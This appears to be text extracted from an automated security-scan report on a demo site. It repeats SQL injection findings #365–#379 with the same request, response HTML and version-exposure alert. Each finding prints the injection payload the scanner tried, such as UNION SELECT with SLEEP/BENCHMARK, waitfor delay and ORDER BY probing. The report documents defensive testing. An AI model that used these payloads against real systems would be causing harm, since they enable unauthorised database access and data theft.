iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #365
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io`
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #366
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION SELECT @@VERSION,SLEEP(5),USER(),
BENCHMARK(1000000,MD5('A')),5,6#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #367
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io ));waitfor delay '0:0:5'--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #368
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioadmin'--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #369Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #370
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 10--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #371
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT @@VERSION,USER(),SLEEP(5),
BENCHMARK(1000000,MD5('A')),NULL,NULL,NULL,NULL,
NULL,NULL,NULL,NULL,NULL,NULL--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #372
Scan SQL Injection
Severity ERROREndpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION SELECT @@VERSION,SLEEP(5),USER(),
BENCHMARK(1000000,MD5('A')),5#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #373
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 'INJ'||'ECT'||'XXX'
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCgAQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #374
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 23
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #375
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Valuedemouser@
deepfence.ioUNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #376
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io' or sleep(5)='
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #377
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #378
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 'INJ'||'ECT'||'XXX'--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #379
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
